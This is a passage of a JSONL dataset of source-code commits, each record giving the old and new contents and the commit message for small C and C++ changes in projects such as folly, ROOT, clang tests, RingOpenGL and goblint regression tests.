(useful for multicast).","message":"Introduce header for doing socket setup (useful for multicast).\n","lang":"C","license":"lgpl-2.1","repos":"cawka\/ndnx,svartika\/ccnx,cawka\/ndnx,cawka\/ndnx,cawka\/ndnx,svartika\/ccnx,ebollens\/ccnmp,svartika\/ccnx,cawka\/ndnx,ebollens\/ccnmp,svartika\/ccnx,ebollens\/ccnmp,ebollens\/ccnmp,svartika\/ccnx,svartika\/ccnx,svartika\/ccnx"}
{"commit":"7d024fbf8348d0e5979c51641a5eec857a0c01e0","old_file":"iOS\/PlayPlan\/Main\/MainViewController.h","new_file":"iOS\/PlayPlan\/Main\/MainViewController.h","old_contents":"\/\/\n\/\/  ViewController.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/10\/25.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import <Accelerate\/Accelerate.h>\n#import \"PlayPlan.h\"\n#import \"SideMenu.h\"\n\n@interface MainViewController : UIViewController <UITableViewDelegate, UITableViewDataSource>\n\n\n@end","new_contents":"\/\/\n\/\/  ViewController.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/10\/25.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import <Accelerate\/Accelerate.h>\n#import \"PlayPlan.h\"\n#import \"SideMenu.h\"\n\n@class MainViewController;\n\n@protocol MainDelegate <NSObject>\n\n- (void)dismissViewController:(MainViewController *)mainViewController;\n\n@end\n\n@interface MainViewController : UIViewController <UITableViewDelegate, UITableViewDataSource>\n\n@property (nonatomic, assign) id<MainDelegate> delegate;\n\n@end","subject":"Add delegate for main view controller.","message":"Add delegate for main view controller.\n","lang":"C","license":"mit","repos":"Zeacone\/PlayPlan,Zeacone\/PlayPlan"}
{"commit":"3e26416dfc0cbfe6db4d07fb0564300ab538a3cc","old_file":"folly\/io\/async\/ssl\/OpenSSLTransportCertificate.h","new_file":"folly\/io\/async\/ssl\/OpenSSLTransportCertificate.h","old_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <folly\/io\/async\/AsyncTransportCertificate.h>\n#include <folly\/portability\/OpenSSL.h>\n#include <folly\/ssl\/OpenSSLPtrTypes.h>\n\nnamespace folly {\n\n\/**\n * Generic interface applications may implement to convey self or peer\n * certificate related information.\n *\/\nclass OpenSSLTransportCertificate : public AsyncTransportCertificate {\n public:\n  virtual ~OpenSSLTransportCertificate() = default;\n\n  \/\/ TODO: Once all callsites using getX509() perform dynamic casts to this\n  \/\/ OpenSSLTransportCertificate type, we can move that method to be declared\n  \/\/ here instead.\n};\n} \/\/ namespace folly\n","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <folly\/io\/async\/AsyncTransportCertificate.h>\n#include <folly\/portability\/OpenSSL.h>\n#include <folly\/ssl\/OpenSSLPtrTypes.h>\n\nnamespace folly {\n\n\/**\n * Generic interface applications may implement to convey self or peer\n * certificate related information.\n *\/\nclass OpenSSLTransportCertificate : public AsyncTransportCertificate {\n public:\n  virtual ~OpenSSLTransportCertificate() = default;\n\n  \/\/ TODO: Once all callsites using getX509() perform dynamic casts to this\n  \/\/ OpenSSLTransportCertificate type, we can move that method to be declared\n  \/\/ here instead.\n\n  static ssl::X509UniquePtr tryExtractX509(\n      const AsyncTransportCertificate* cert) {\n    auto opensslCert = dynamic_cast<const OpenSSLTransportCertificate*>(cert);\n    return opensslCert ? opensslCert->getX509() : nullptr;\n  }\n};\n} \/\/ namespace folly\n","subject":"Add static helper to extract X509 from cert","message":"Add static helper to extract X509 from cert\n\nSummary:\nSince callsites wanting an X509 from an AsyncTransportCertificate will have to\nperform a dynamic cast to an OpenSSLTransportCertificiate, we might as well\nabstract that away into a static helper.\n\nThis makes it potentially a bit easier to change implementation details in the\nfuture without having to update a bunch of existing callsites (and it hides the\nugliness of the dynamic cast).\n\nReviewed By: yfeldblum, mingtaoy\n\nDifferential Revision: D31358948\n\nfbshipit-source-id: 9ed2f81db4cf746a83871961895a0c1f1fb5c297\n","lang":"C","license":"apache-2.0","repos":"facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly"}
{"commit":"dc429dd18745437590ab54bb6041490b86bfb543","old_file":"source\/Pictus\/imagecache_fileentry.h","new_file":"source\/Pictus\/imagecache_fileentry.h","old_contents":"#ifndef PICTUS_IMAGECACHE_FILEENTRY_H\n#define PICTUS_IMAGECACHE_FILEENTRY_H\n\n#include \"illa\/image.h\"\n#include \"orz\/types.h\"\n\n#include <boost\/date_time.hpp>\n\n#if _WIN32\n#define ENABLE_CREATED_TIME\n#endif\n\n\nnamespace Img {\n\tnamespace Internal {\n\t\tclass FileEntry {\n\t\tpublic:\n\t\t\tImg::Image::Ptr Image();\n\n\t\t\tconst std::string& Name() const;\n\t\t\tvoid Rename(const std::string& newName);\n\n\t\t\tstd::time_t DateModified();\n\t\t\tstd::time_t DateCreated();\n\t\t\tstd::time_t FileSize();\n\n\t\t\tFileEntry(std::string fullname);\n\n\t\tprivate:\n\t\t\tvoid QueryFile();\n\n\t\t\tImg::Image::Ptr m_image;\n\t\t\tstd::string m_fullname;\n#ifdef ENABLE_CREATED_TIME\n\t\t\tstd::time_t m_dateCreate;\n#endif\n\t\t\tstd::time_t m_dateModified;\n\t\t\tbool m_hasQueriedFile;\n\t\t\tuintmax_t m_fileSize;\n\n\t\t};\n\t}\n}\n\n#endif\n","new_contents":"#ifndef PICTUS_IMAGECACHE_FILEENTRY_H\n#define PICTUS_IMAGECACHE_FILEENTRY_H\n\n#include \"illa\/image.h\"\n#include \"orz\/types.h\"\n\n#include <boost\/date_time.hpp>\n\n#if _WIN32\n#define ENABLE_CREATED_TIME\n#endif\n\n\nnamespace Img {\n\tnamespace Internal {\n\t\tclass FileEntry {\n\t\tpublic:\n\t\t\tImg::Image::Ptr Image();\n\n\t\t\tconst std::string& Name() const;\n\t\t\tvoid Rename(const std::string& newName);\n\n\t\t\tstd::time_t DateModified();\n\t\t\tstd::time_t DateCreated();\n\t\t\tFileInt FileSize();\n\n\t\t\tFileEntry(std::string fullname);\n\n\t\tprivate:\n\t\t\tvoid QueryFile();\n\n\t\t\tImg::Image::Ptr m_image;\n\t\t\tstd::string m_fullname;\n#ifdef ENABLE_CREATED_TIME\n\t\t\tstd::time_t m_dateCreate;\n#endif\n\t\t\tstd::time_t m_dateModified;\n\t\t\tbool m_hasQueriedFile;\n\t\t\tuintmax_t m_fileSize;\n\n\t\t};\n\t}\n}\n\n#endif\n","subject":"Use correct data type for file size","message":"Use correct data type for file size\n","lang":"C","license":"mit","repos":"poppeman\/Pictus,poppeman\/Pictus,poppeman\/Pictus"}
{"commit":"47d66020e838b170d10e4e081c8592d2ec3816c4","old_file":"test_case.h","new_file":"test_case.h","old_contents":"#ifndef TEST_CASE_H\n#define TEST_CASE_H\n\nnamespace fs_testing {\n\nclass test_case {\n public:\n  virtual ~test_case() {};\n  virtual int setup() = 0;\n  virtual int run() = 0;\n  virtual int check_test() = 0;\n};\n\ntypedef test_case* create_t();\ntypedef void destroy_t(test_case*);\n\n}  \/\/ namespace fs_testing\n\n#endif\n","new_contents":"#ifndef TEST_CASE_H\n#define TEST_CASE_H\n\nnamespace fs_testing {\n\nclass test_case {\n public:\n  virtual ~test_case() {};\n  virtual int setup() = 0;\n  virtual int run() = 0;\n  virtual int check_test() = 0;\n};\n\ntypedef test_case* test_create_t();\ntypedef void test_destroy_t(test_case*);\n\n}  \/\/ namespace fs_testing\n\n#endif\n","subject":"Modify to work with dynamic class loader class.","message":"Modify to work with dynamic class loader class.\n","lang":"C","license":"apache-2.0","repos":"utsaslab\/crashmonkey,utsaslab\/crashmonkey,utsaslab\/crashmonkey,utsaslab\/crashmonkey"}
{"commit":"ed7d196ea8ad39186c5fedd21e3a3c135027bc01","old_file":"master\/types.h","new_file":"master\/types.h","old_contents":"\/\/Declarations for master types\n\ntypedef enum\n{\n\tRegister = 0\n} MODBUSDataType; \/\/MODBUS data types enum (coil, register, input, etc.)\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tuint8_t Function; \/\/Function called, in which exception occured\n\tuint8_t Code; \/\/Exception code\n} MODBUSExceptionLog; \/\/Parsed exception data\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tMODBUSDataType DataType; \/\/Data type\n\tuint16_t Register; \/\/Register, coil, input ID\n\tuint16_t Value; \/\/Value of data\n} MODBUSData;\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Request frame content\n} MODBUSRequestStatus; \/\/Type containing information about frame that is set up at master side\n\ntypedef struct\n{\n\tMODBUSData *Data; \/\/Data read from slave\n\tMODBUSExceptionLog Exception; \/\/Optional exception read\n\tMODBUSRequestStatus Request; \/\/Formatted request for slave\n\tuint8_t DataLength; \/\/Count of data type instances read from slave\n\tuint8_t Error; \/\/Have any error occured?\n} MODBUSMasterStatus; \/\/Type containing master device configuration data\n","new_contents":"\/\/Declarations for master types\n\ntypedef enum\n{\n\tRegister = 0\n} MODBUSDataType; \/\/MODBUS data types enum (coil, register, input, etc.)\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tuint8_t Function; \/\/Function called, in which exception occured\n\tuint8_t Code; \/\/Exception code\n} MODBUSExceptionLog; \/\/Parsed exception data\n\ntypedef struct\n{\n\tuint8_t Address; \/\/Device address\n\tMODBUSDataType DataType; \/\/Data type\n\tuint16_t Register; \/\/Register, coil, input ID\n\tuint16_t Value; \/\/Value of data\n} MODBUSData;\n\ntypedef struct\n{\n\tuint8_t Length; \/\/Length of frame, if it's equal to 0, frame is not ready\n\tuint8_t *Frame; \/\/Request frame content\n} MODBUSRequestStatus; \/\/Type containing information about frame that is set up at master side\n\ntypedef struct\n{\n\tMODBUSData *Data; \/\/Data read from slave\n\tMODBUSExceptionLog Exception; \/\/Optional exception read\n\tMODBUSRequestStatus Request; \/\/Formatted request for slave\n\tuint8_t DataLength; \/\/Count of data type instances read from slave\n\tuint8_t Error; \/\/Have any error occured?\n\tuint8_t Finished; \/\/Is parsing finished?\n} MODBUSMasterStatus; \/\/Type containing master device configuration data\n","subject":"Add new member in MODBUSMasterStatus","message":"Add new member in MODBUSMasterStatus\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"472c3832f55fc92d866aaafe1ff78e6c548c1bd5","old_file":"core\/editline\/src\/rlcurses.h","new_file":"core\/editline\/src\/rlcurses.h","old_contents":"\/\/ @(#)root\/editline:$Id$\n\/\/ Author: Axel Naumann, 2009\n\n\/*************************************************************************\n * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __sun\n# include R__CURSESHDR\nextern \"C\" {\n   \/\/ cannot #include term.fH because it #defines move() etc\nchar *tparm(char*, long, long, long, long, long, long, long, long, long);\nchar *tigetstr(char*);\nchar *tgoto(char*, int, int);\nint   tputs(char*, int, int (*)(int));\nint tgetflag(char*);\nint tgetnum(char*);\nchar* tgetstr(char*, char**);\nint tgetent(char*, const char*);\n}\n\/\/ un-be-lievable.\n# undef erase\n# undef move\n# undef clear\n# undef del\n# undef key_end\n# undef key_clear\n# undef key_print\n#else\n# include R__CURSESHDR\n# include <termcap.h>\n# include <termcap.h>\nextern \"C\" int setupterm(const char* term, int fd, int* perrcode);\n#endif\n","new_contents":"\/\/ @(#)root\/editline:$Id$\n\/\/ Author: Axel Naumann, 2009\n\n\/*************************************************************************\n * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __sun\n# include R__CURSESHDR\nextern \"C\" {\n   \/\/ cannot #include term.h because it #defines move() etc\nchar *tparm(char*, long, long, long, long, long, long, long, long, long);\nchar *tigetstr(char*);\nint tigetnum(char*);\nchar *tgoto(char*, int, int);\nint   tputs(char*, int, int (*)(int));\nint tgetflag(char*);\nint tgetnum(char*);\nchar* tgetstr(char*, char**);\nint tgetent(char*, const char*);\n}\n\/\/ un-be-lievable.\n# undef erase\n# undef move\n# undef clear\n# undef del\n# undef key_end\n# undef key_clear\n# undef key_print\n#else\n# include R__CURSESHDR\n# include <termcap.h>\n# include <termcap.h>\nextern \"C\" int setupterm(const char* term, int fd, int* perrcode);\n#endif\n","subject":"Fix for solaris: declare tigetnum","message":"Fix for solaris: declare tigetnum\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@30238 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root"}
{"commit":"f2dc5111e65e46a2f7f34fc0117d015749558ec9","old_file":"TDTChocolate\/FoundationAdditions\/NSProcessInfo+TDTEnvironmentDetection.h","new_file":"TDTChocolate\/FoundationAdditions\/NSProcessInfo+TDTEnvironmentDetection.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSProcessInfo (TDTEnvironmentDetection)\n\n\/**\n Determine if the current process is running inside a unit test context.\n\n Use case:\n When running unit tests on iOS, it is not necessary to fully initialize the\n application. The following check can be used to return early in the application\n launch process:\n \\code\n - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(id)options {\n #ifdef DEBUG\n if ([[NSProcessInfo processInfo] isRunningTests]) return YES;\n #endif\n ...\n return YES;\n }\n \\endcode\n\n @return YES if the process has been invoked to run the XCTest bundle.\n *\/\n@property (nonatomic, readonly) BOOL tdt_isRunningTests;\n\n\/**\n Determine if a debugger is attached to the current process.\n\n This can help decide, for example, whether to redirect standard error\n (and hence, everything logged by @p TDTLog) to a file. Usually, when\n a process is attached to a debugger, you do not want to redirect\n standard error.\n\n Source: Technical Q&A QA1361 \"Detecting the Debugger\"\n\n @note This method relies on a public but unstable Apple API. It\n should not be used in a release build.\n *\/\n- (BOOL)tdt_isDebugged;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSProcessInfo (TDTEnvironmentDetection)\n\n\/**\n Determine if the current process is running inside a unit test context.\n\n Use case:\n When running unit tests on iOS, it is not necessary to fully initialize the\n application. The following check can be used to return early in the application\n launch process:\n \\code\n - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(id)options {\n #ifdef DEBUG\n if ([[NSProcessInfo processInfo] tdt_isRunningTests]) return YES;\n #endif\n ...\n return YES;\n }\n \\endcode\n\n @return YES if the process has been invoked to run the XCTest bundle.\n *\/\n@property (nonatomic, readonly) BOOL tdt_isRunningTests;\n\n\/**\n Determine if a debugger is attached to the current process.\n\n This can help decide, for example, whether to redirect standard error\n (and hence, everything logged by @p TDTLog) to a file. Usually, when\n a process is attached to a debugger, you do not want to redirect\n standard error.\n\n Source: Technical Q&A QA1361 \"Detecting the Debugger\"\n\n @note This method relies on a public but unstable Apple API. It\n should not be used in a release build.\n *\/\n- (BOOL)tdt_isDebugged;\n\n@end\n","subject":"Update method name in documentation","message":"Update method name in documentation\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"ac9a5b3f4fb6037e3c75440a22cdda23776bd053","old_file":"extensions\/ringopengl\/ring_opengl21.c","new_file":"extensions\/ringopengl\/ring_opengl21.c","old_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 2.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\n\nRING_FUNC(ring_glAccum)\n{\n\tif ( RING_API_PARACOUNT != 2 ) {\n\t\tRING_API_ERROR(RING_API_MISS2PARA);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(1) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(2) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tglAccum( (GLenum )  (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2));\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"glaccum\",ring_glAccum);\n}\n","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 2.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\n\nRING_FUNC(ring_glAccum)\n{\n\tif ( RING_API_PARACOUNT != 2 ) {\n\t\tRING_API_ERROR(RING_API_MISS2PARA);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(1) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(2) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tglAccum( (GLenum )  (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2));\n}\n\n\nRING_FUNC(ring_glActiveTexture)\n{\n\tif ( RING_API_PARACOUNT != 1 ) {\n\t\tRING_API_ERROR(RING_API_MISS1PARA);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(1) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tglActiveTexture( (GLenum )  (int) RING_API_GETNUMBER(1));\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"glaccum\",ring_glAccum);\n\tring_vm_funcregister(\"glactivetexture\",ring_glActiveTexture);\n}\n","subject":"Update RingOpenGL - Add Function (Source Code) : void glActiveTexture(GLenum texture)","message":"Update RingOpenGL - Add Function (Source Code) : void glActiveTexture(GLenum texture)\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"9e2cb080cae3cf4d0df9ac48ea342daa3590bca9","old_file":"include\/dynamicsJRLJapan\/GeometricData.h","new_file":"include\/dynamicsJRLJapan\/GeometricData.h","old_contents":"","new_contents":"\/*! \\file GeometricData.h Geometric data for robots when available.\n  \n\n  Copyright (c) 2010\n  @author Olivier Stasse\n  \n  JRL-Japan, CNRS\/AIST\n  \n  All rights reserved.\n  \n  Please see License.txt for more informations on the license related to this software.\n*\/\n\n#ifndef _DYNAMICS_JRL_JAPAN_GEOMETRIC_DATA_H_\n#define _DYNAMICS_JRL_GEOMETRIC_DATA_H_\n\n#if defined (WIN32)\n#  ifdef dynamicsJRLJapan_EXPORTS \n#    define DYN_JRL_JAPAN_EXPORT __declspec(dllexport)\n#  else  \n#    define DYN_JRL_JAPAN_EXPORT __declspec(dllimport)\n#  endif \n#else\n#  define DYN_JRL_JAPAN_EXPORT\n#endif\n\n#include <vector>\n#include <string>\n\n#include <MatrixAbstractLayer\/MatrixAbstractLayer.h>\n#include \"robotDynamics\/jrlHumanoidDynamicRobot.h\"\n#include \"robotDynamics\/jrlRobotDynamicsObjectConstructor.h\"\n\nnamespace dynamicsJRLJapan\n{\n  namespace Geometry\n  {\n    struct DYN_JRL_JAPAN_EXPORT Material\n    {\n      float ambientIntensity;\n      float diffuseColor[3];\n      float emissiveColor[3];\n      float specularColor[3];\n      float shininess[3];\n      float transparency;\n      \n    Material():\n      ambientIntensity(0.2),\n\tdiffuseColor({0.8,0.8,0.8}),\n\temissiveColor({0.0,0.0,0.0}),\n\tshininess({0.2}),\n\tspecularColor({0.0,0.0,0.0}),\n\ttransparency({0})\n      {};\n\n    };\n\n    struct DYN_JRL_JAPAN_EXPORT Texture\n    {\n      std::string FileName;\n    }\n    \n    struct DYN_JRL_JAPAN_EXPORT TextureTransform\n    {\n      float center[2];\n      float rotation;\n      float scale[2];\n      float translation[2];\n\n    TextureTransform():\n      center({0.0,0.0}),\n\trotation(0),\n\tscale({1.0,1.0}),\n\ttranslation({0.0,0.0})\n      {};\n    }\n\n    \n    class DYN_JRL_JAPAN_EXPORT Appearance\n    {\n    private:\n      \n      Material         m_Material;\n      Texture          m_Texture;\n      TextureTransform m_TextureTransform;\n\n    public:\n      Appearance();\n      ~Appearance();\n      \/*! \\name Setter and getters \n\t@{\n       *\/\n      void setMaterial(Material &aMaterial);\n      const Material &getMaterial() const;\n\n      void setTexture(Texture &aTexture);\n      const Texture &getTexture() const;\n      \n      void setTextureTransform(TextureTransform &aTexture);\n      const TextureTransform &getTextureTransform() const;\n      \/*! @} *\/\n    };\n\n    class DYN_JRL_JAPAN_EXPORT Shape \n    {\n      \n    };\n  };\n};\n\n#endif \/*! _DYNAMICS_JRL_GEOMETRIC_DATA_H_ *\/\n","subject":"Add reading of geometrical parts.","message":"Add reading of geometrical parts.\n\nNot yet doing something useful with it.\nGeometricData will store the geometric information.\nWe are moving slowly to openvrml...\n","lang":"C","license":"isc","repos":"jrl-umi3218\/jrl-dynamics,jrl-umi3218\/jrl-dynamics"}
{"commit":"043f57e09b031bc53b4e2b0837f2d272da8717b5","old_file":"include\/canvas\/renderer\/pipeline_builder.h","new_file":"include\/canvas\/renderer\/pipeline_builder.h","old_contents":"#pragma once\n\n#include <nucleus\/optional.h>\n\n#include \"canvas\/renderer\/pipeline.h\"\n#include \"canvas\/renderer\/vertex_definition.h\"\n#include \"canvas\/utils\/shader_source.h\"\n\nnamespace ca {\n\nclass Renderer;\n\nclass PipelineBuilder {\npublic:\n  explicit PipelineBuilder(Renderer* renderer);\n\n  PipelineBuilder& attribute(nu::StringView name, ComponentType type,\n                             ComponentCount component_count);\n\n  PipelineBuilder& vertex_shader(ShaderSource source);\n  PipelineBuilder& geometry_shader(ShaderSource source);\n  PipelineBuilder& fragment_shader(ShaderSource source);\n\n  NU_NO_DISCARD nu::Optional<Pipeline> build() const;\n\nprivate:\n  Renderer* renderer_;\n\n  VertexDefinition vertex_definition_;\n  nu::Optional<ShaderSource> vertex_shader_;\n  nu::Optional<ShaderSource> geometry_shader_;\n  nu::Optional<ShaderSource> fragment_shader_;\n};\n\n}  \/\/ namespace ca\n","new_contents":"#pragma once\n\n#include <nucleus\/optional.hpp>\n\n#include \"canvas\/renderer\/pipeline.h\"\n#include \"canvas\/renderer\/vertex_definition.h\"\n#include \"canvas\/utils\/shader_source.h\"\n\nnamespace ca {\n\nclass Renderer;\n\nclass PipelineBuilder {\npublic:\n  explicit PipelineBuilder(Renderer* renderer);\n\n  PipelineBuilder& attribute(nu::StringView name, ComponentType type,\n                             ComponentCount component_count);\n\n  PipelineBuilder& vertex_shader(ShaderSource source);\n  PipelineBuilder& geometry_shader(ShaderSource source);\n  PipelineBuilder& fragment_shader(ShaderSource source);\n\n  NU_NO_DISCARD nu::Optional<Pipeline> build() const;\n\nprivate:\n  Renderer* renderer_;\n\n  VertexDefinition vertex_definition_;\n  nu::Optional<ShaderSource> vertex_shader_;\n  nu::Optional<ShaderSource> geometry_shader_;\n  nu::Optional<ShaderSource> fragment_shader_;\n};\n\n}  \/\/ namespace ca\n","subject":"Fix compilation error with improved Optional.","message":"Fix compilation error with improved Optional.\n","lang":"C","license":"mit","repos":"tiaanl\/canvas,tiaanl\/canvas,tiaanl\/canvas"}
{"commit":"e9fbbe52f18826d5e44aaf596a59439cab4f4c60","old_file":"test\/CodeGen\/2008-07-31-asm-labels.c","new_file":"test\/CodeGen\/2008-07-31-asm-labels.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o %t %s\n\/\/ RUN: not grep \"@pipe()\" %t\n\/\/ RUN: grep '_thisIsNotAPipe' %t | count 3\n\/\/ RUN: not grep 'g0' %t\n\/\/ RUN: grep '_renamed' %t | count 2\n\/\/ RUN: %clang_cc1 -DUSE_DEF -emit-llvm -o %t %s\n\/\/ RUN: not grep \"@pipe()\" %t\n\/\/ RUN: grep '_thisIsNotAPipe' %t | count 3\n\/\/ <rdr:\/\/6116729>\n\nvoid pipe() asm(\"_thisIsNotAPipe\");\n\nvoid f0() {\n  pipe();\n}\n\nvoid pipe(int);\n\nvoid f1() {\n  pipe(1);\n}\n\n#ifdef USE_DEF\nvoid pipe(int arg) {\n  int x = 10;\n}\n#endif\n\n\/\/ PR3698\nextern int g0 asm(\"_renamed\");\nint f2() {\n  return g0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o %t %s\n\/\/ RUN: not grep \"@pipe()\" %t\n\/\/ RUN: grep '_thisIsNotAPipe' %t | count 3\n\/\/ RUN: not grep '@g0' %t\n\/\/ RUN: grep '_renamed' %t | count 2\n\/\/ RUN: %clang_cc1 -DUSE_DEF -emit-llvm -o %t %s\n\/\/ RUN: not grep \"@pipe()\" %t\n\/\/ RUN: grep '_thisIsNotAPipe' %t | count 3\n\/\/ <rdr:\/\/6116729>\n\nvoid pipe() asm(\"_thisIsNotAPipe\");\n\nvoid f0() {\n  pipe();\n}\n\nvoid pipe(int);\n\nvoid f1() {\n  pipe(1);\n}\n\n#ifdef USE_DEF\nvoid pipe(int arg) {\n  int x = 10;\n}\n#endif\n\n\/\/ PR3698\nextern int g0 asm(\"_renamed\");\nint f2() {\n  return g0;\n}\n","subject":"Fix asm label testcase flaw","message":"Fix asm label testcase flaw\n\n- Testcase attempts to (not) grep 'g0' in output to ensure asm symbol is\n  properly renamed, but g0 is too generic and can be part of the\n  module's path in LLVM IR output.\n- Changed to grep '@g0', which is what the proper global symbol name\n  would be if not using asm.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@338895 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"978e37fa01132c6378622931651da7926ef4c344","old_file":"efisame.c","new_file":"efisame.c","old_contents":"","new_contents":"\n#include <efivar.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n\n  efi_guid_t guid = EFI_GLOBAL_GUID;\n\n  const char* name = \"BootCurrent\";\n  uint8_t *data;\n  size_t data_size;\n  uint32_t attr;\n\n  int res = efi_get_variable(guid, name, &data, &data_size, &attr);\n  if (res < 0) {\n    perror(\"efi_get_variable\");\n    exit(1);\n  }\n\n  printf(\"data_size: %zu\\n\", data_size);\n\n  return 0;\n}\n","subject":"Add sample code to get efivar","message":"Add sample code to get efivar\n","lang":"C","license":"mit","repos":"dtzWill\/efi-same"}
{"commit":"e0a8fa29f6868596c9153775e17bbe1fed219835","old_file":"tests\/regression\/02-base\/33-assert-infinite-loop.c","new_file":"tests\/regression\/02-base\/33-assert-infinite-loop.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.interval --disable ana.int.def_exc --set ana.activated \"['base']\"\n\/\/ This is a pattern we saw in some examples for SVCOMP, where instead of the assert(0) there was a call to verifier error.\n\/\/ Because of the demand-driven nature of our solvers, we never looked at the code inside fail since there is no edge from the loop to the endpoint of f.\n\/\/ However, the assert(0) (verifier error) is still rechable from main.\nvoid f(void) {\n    fail:\n        assert(0); \/\/FAIL\n        goto fail;\n}\n\nint main(void) {\n    int top;\n\n    if(top) {\n        f();\n    }\n}\n","subject":"Add example containing infinite loop with assert","message":"Add example containing infinite loop with assert\n\nThis is a pattern we saw in some examples for SVCOMP, where instead of the assert(0) there was a call to verifier error. Because of the demand-driven nature of our solvers, we never looked at the code inside fail since there is no edge from the loop to the endpoint of f.\nHowever, the assert(0) (verifier error) is still rechable from main.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
